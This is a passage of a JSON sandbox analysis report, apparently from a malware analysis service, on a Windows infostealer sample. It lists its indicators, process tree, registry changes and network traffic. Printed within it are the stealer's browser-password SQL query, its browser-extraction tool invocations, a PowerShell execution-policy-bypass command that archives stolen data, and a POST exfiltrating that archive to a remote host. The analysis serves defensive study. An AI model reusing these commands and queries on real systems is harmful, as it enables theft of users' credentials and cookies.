\"PLA6A1.tmp\" (UID: 00000000-00003036)\n Spawned process \"cmd.exe\" with commandline \"/c chcp 65001 > nul\" (UID: 00000000-00003500)\n Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00003424)\n Spawned process \"chromelevator.exe\" with commandline \"chrome --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Chrome_raw\" -- ...\" (UID: 00000000-00004020)\n Spawned process \"chrome.exe\" (UID: 00000000-00003704)\n Spawned process \"chromelevator.exe\" with commandline \"edge --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Edge_raw\" --kill\" (UID: 00000000-00007000)\n Spawned process \"msedge.exe\" (UID: 00000000-00007316)\n Spawned process \"powershell.exe\" with commandline \"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -P ...\" (UID: 00000000-00007464)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"q\" (Indicator: \"aes\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n file/memory contains long string with (Indicator: \"zipfile\"; File: \"AMSI\")\n Found string \"zipfile\" (Indicator: \"zipfile\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found string \"zipfile_cds\" (Indicator: \"zipfile\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00003372.00000000.153977.E8C30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00003372.00000001.155299.109B3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"GetProcAddressA\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003372.00000001.155299.109B3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003372.00000001.155299.109B3000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003372.00000001.155299.109B3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"passwords\" (Indicator: \"password\"; File: \"00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp\")\n Found string \"SELECT origin_url, username_value, password_value FROM logins\" (Indicator: \"password\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found string \"\"password\":\" (Indicator: \"password\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found string \"passwords\" (Indicator: \"password\"; Source: \"00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp\")\n Found string \"passwords\" (Indicator: \"password\"; Source: \"00000000-00004020.00000000.154196.FAAD1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$61","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"/c chcp 65001 > nul\" (Indicator: \"chcp\"; File: \"cmd.exe\")\n Found string \"chcp 65001 > nul\" (Indicator: \"chcp\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"PLA6A1.tmp\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007464-00000C2C-1390996102\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007464-00000C2C-1390996605\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007464-00000C2C-1390996634\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007464)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: PLA6A1.tmp]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00003036.00000000.154061.67B50000.00000004.mdmp, 00000000-00003036.00000001.155278.67B50000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Users\\HAPUBWS\\AppData\\Local\\Temp\\PLA6A1.tmp\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003036.00000000.154061.67B50000.00000004.mdmp, 00000000-00003036.00000001.155278.67B50000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003036.00000001.155278.67B50000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003372.00000000.153977.E8C30000.00000004.mdmp, 00000000-00003372.00000001.155299.E8C30000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Users\\HAPUBWS\\AppData\\Local\\Temp\\chromelevator.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00004020.00000000.154196.85BC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00003372.00000001.155299.109B3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$62","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003036.00000000.154061.66598000.00000002.mdmp, 00000000-00003036.00000000.154061.665DF000.00000002.mdmp, 00000000-00003036.00000001.155278.665DF000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003372.00000001.155299.109B3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"PLA6A1.tmp\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"PLA6A1.tmp\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"93D959F52EBDDC010000000000000000000000000200000000\")\n \"PLA6A1.tmp\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\WINDOWSPOWERSHELL\\V1.0\\POWERSHELL.EXE\"; Value: \"B1496CFC2EBDDC010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"GetTokenInformation\" which can \"retrieve a specified type of information about an access token\" [Source: PLA6A1.tmp]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\" nul\" (UID: 00000000-00003500)\n Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00003424)\n Spawned process \"chromelevator.exe\" with commandline \"chrome --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Chrome_raw\" --kill\" (UID: 00000000-00004020)\n Spawned process \"chromelevator.exe\" with commandline \"edge --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Edge_raw\" --kill\" (UID: 00000000-00007000)\n Spawned process \"powershell.exe\" with commandline \"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -Path '%TEMP%\\\\\\\\Winapi\\\\*' -DestinationPath '%TEMP%\\\\\\\\win.zip' -Force\"\" (UID: 00000000-00007464)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]}],"incidents":[{"name":"Spyware","details_count":5,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Attempts to steal desktop application's information (file access)"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Attempts to identify external IP address"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]}]},"activity":{"stats":{"process_count":9,"spawned_processes_count":9,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":15,"imported_dlls_count":102,"dropped_files_count":0,"extracted_files_count":11,"files_written_count":31,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["wacatac","windows-server-utility","infostealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69c4e3983e91c9c90b0aa75a","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Win64.Agent","contacted_countries":["RUS"],"submit_name":"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin","analysis_start_time":"2026-03-26T07:43:21+00:00","indicators_count":{"informative":229,"suspicious":73,"malicious":18},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.26.13.205","port":80,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"address":"83.217.208.93","port":5021,"protocol":"TCP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]}],"dns_resolutions":[{"domain":"api.ipify.org","address":"104.26.13.205","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]}],"http_requests":[{"host":"api.ipify.org","host_ip":"104.26.13.205:80","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nUser-Agent: Kortex\nHost: api.ipify.org\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"host":"83.217.208.93:5021","host_ip":"83.217.208.93:5021","url":"/getlog/m/08oFdi40aT0t","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /getlog/m/08oFdi40aT0t HTTP/1.1\nContent-Type: application/octet-stream\nContent-Length: 373157\npcName: FA49926A//en-US\nUser-Agent: wininet/1.0\nHost: 83.217.208.93:5021\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}],"processes":[{"pid":3372,"ppid":0,"name":"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin.exe","command_line":"","sha256":"74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3","normalized_path":"C:\\74444301b3b3e5dfe1d7c60f86d3900016d9d1471ae5d8be4a5c72a3d99a16b3.bin.exe","uid":"00000000-00003372","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3036,"ppid":3372,"name":"PLA6A1.tmp","command_line":"","sha256":"0c41b499fea5f40f283dfaf7ca1b3ae07c82006e0a9ee753805b580c9c9b15ad","normalized_path":"%TEMP%\\PLA6A1.tmp","parent_uid":"00000000-00003372","uid":"00000000-00003036"},{"pid":3500,"ppid":3036,"name":"cmd.exe","command_line":"/c chcp 65001 > nul","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003036","uid":"00000000-00003500"},{"pid":3424,"ppid":3500,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00003500","uid":"00000000-00003424"},{"pid":4020,"ppid":3036,"name":"chromelevator.exe","command_line":"chrome --output-path \"%TEMP%\\\\Winapi\\Browsers\\Chrome_raw\" --kill","sha256":"a95ad2f5dec66f6ce6c7ab58d158b64225437e42e2397b8f958bfa507ebb7dbe","normalized_path":"%TEMP%\\chromelevator.exe","parent_uid":"00000000-00003036","uid":"00000000-00004020"},{"pid":3704,"ppid":4020,"name":"chrome.exe","command_line":"","sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004020","uid":"00000000-00003704"},{"pid":7000,"ppid":3036,"name":"chromelevator.exe","command_line":"edge --output-path \"%TEMP%\\\\Winapi\\Browsers\\Edge_raw\" --kill","sha256":"a95ad2f5dec66f6ce6c7ab58d158b64225437e42e2397b8f958bfa507ebb7dbe","normalized_path":"%TEMP%\\chromelevator.exe","parent_uid":"00000000-00003036","uid":"00000000-00007000"},{"pid":7316,"ppid":7000,"name":"msedge.exe","command_line":"","sha256":"accd0aa3ae9f8b376215e8dd833ee762f2a7cdc6535eb27df0e670e9e689b620","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007000","uid":"00000000-00007316"},{"pid":7464,"ppid":3036,"name":"powershell.exe","command_line":"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -Path '%TEMP%\\\\Winapi\\*' -DestinationPath '%TEMP%\\\\win.zip' -Force\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003036","uid":"00000000-00007464"}],"all_imported_dlls":["4NkEZr3O.dll","System.Transactions.ni.dll","System.Configuration.Install.ni.dll","rpcrt4.dll","urlmon.dll","imagehlp.dll","rasadhlp.dll","mscoreei.dll","psapi.dll","MpClient.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","SHCore.dll","winhttp.dll","ole32.dll","rsaenh.dll","sspicli.dll","atl.dll","mscoree.dll","mscorlib.ni.dll","clrjit.dll","System.Configuration.ni.dll","advapi32.dll","combase.dll","crypt32.dll","uxtheme.dll","fsutilext.dll","ucrtbase_clr0400.dll","VxSSL64.dll","user32.dll","IPHLPAPI.DLL","userenv.dll","slc.dll","sppc.dll","System.IO.Compression.FileSystem.ni.dll","cryptbase.dll","wininet.dll","clbcatq.dll","amsi.dll","Microsoft.Management.Infrastructure.ni.dll","System.Numerics.ni.dll","Microsoft.PowerShell.Security.ni.dll","System.IO.Compression.ni.dll","sechost.dll","ucrtbase.dll","imm32.dll","shell32.dll","mswsock.dll","System.Core.ni.dll","Microsoft.Management.Infrastructure.Native.ni.dll","KernelBase.dll","cryptsp.dll","vcruntime140_clr0400.dll","gpapi.dll","secur32.dll","clrcompression.dll","fltLib.dll","gdi32full.dll","cfgmgr32.dll","winnsi.dll","msedge_elf.dll","System.DirectoryServices.ni.dll","wldp.dll","shlwapi.dll","nsi.dll","MpOAV.dll","System.Management.ni.dll","kernel32.dll","msvcp_win.dll","profapi.dll","ntmarta.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","System.Data.ni.dll","Microsoft.IIS.Powershell.Commands.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","ntdll.dll","powrprof.dll","clr.dll","System.Xml.ni.dll","msvcrt.dll","ws2_32.dll","gdi32.dll","bcrypt.dll","msasn1.dll","iertutil.dll","ulib.dll","version.dll","apphelp.dll","win32u.dll","oleaut32.dll","windows.storage.dll","msIso.dll","chrome_elf.dll","System.ni.dll","System.Management.Automation.ni.dll","kernel.appcore.dll","OnDemandConnRouteHelper.dll","FWPUCLNT.DLL","wintrust.dll","System.Data.dll","System.Transactions.dll","bcryptprimitives.dll","dnsapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"PLA6A1.tmp","sha256":"0c41b499fea5f40f283dfaf7ca1b3ae07c82006e0a9ee753805b580c9c9b15ad","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"chromelevator.exe","sha256":"a95ad2f5dec66f6ce6c7ab58d158b64225437e42e2397b8f958bfa507ebb7dbe","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"Firefox_Cookies.txt","sha256":"1e6ce70b53f6d6b26bb4296e3f6cc0ae39c1a383b15366424863a80189e6ffcd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c4e3983e91c9c90b0aa75a"}]},{"name":"win.zip","sha256":"38c59d417448829f6c8c86a0ad16ac825ac8ab33a949e52cfc486fc